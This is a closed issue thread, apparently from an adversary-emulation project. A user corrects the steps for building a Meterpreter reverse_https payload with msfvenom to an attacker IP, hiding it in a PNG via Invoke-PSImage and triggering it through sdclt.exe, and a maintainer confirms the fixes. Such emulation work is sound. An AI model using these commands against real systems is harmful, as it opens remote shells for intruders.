Closed leegengyu closed 4 years ago
@leegengyu Great catch, thanks! I just submitted a fix but you are correct in both cases.
the psh-cmd
payload results in cmd /c powershell.exe...
whereas the psh
payload uses PowerShell to load kernel32.dll and allocate + execute a new thread.
Thanks again, and definitely let us know if you come across any more!
Issue 1
It is stated that the first step to re-create the
monkey.png
ismsfvenom -p windows/x64/meterpreter/reverse_https LHOST=<attacker IP> LPORT=443 --format psh-cmd -o meterpreter.ps1
.However, by using
--format psh-cmd
, I was thinking that the output from the command would actually be meant to be ran in a Command Prompt (rather than in a PowerShell). According to a Rapid7 link about generating PowerShell payloads, "the generated payload forpsh-cmd
format has a.cmd
extension." Nonetheless, thepsh-cmd
format was stated under the section for PowerShell payloads (which had me puzzled).Looking deeper into this, we see that the very first word in
meterpreter.ps1
is%COMSPEC%
:Subsequently,
meterpreter.ps1
is embedded into a PNG file usingInvoke-PSImage
as mentioned.From what I understand, in Step 3.B, the one-liner will execute the contents of
meterpreter.ps1
in a PowerShell after extracting it from the pixels ofmonkey.png
. The one-liner is only executed towards the end of Step 3.B, when%windir%\system32\sdclt.exe
is executed.In this context, this would mean that
%COMSPEC%
is executed in a PowerShell, which resulted in this error on the victim machine (I removed-noni
and-window hidden
in this case for debugging purposes):To confirm the above, I tried to run it verbatim as
%COMSPEC%
:The way to get the environment variable in PowerShell would be
$env:ComSpec
:In light of the above, I changed the format from
psh-cmd
topsh
, and I managed to get a Meterpreter session opened.Should the format be
psh-cmd
(i.e. I missed out something or ran something wrongly, etc.), or is there a typo (i.e. it should bepsh
)?Issue 2
I think there is a typo for the
Invoke-PSImage
command.The current command in
payload_configs.md
isInvoke-PSImage -Script .\meterpreter.ps1.ps1 -Out .\monkey.png -Image .\monkey.jpg
.There is an extra
.ps1
in the parameter-Script
.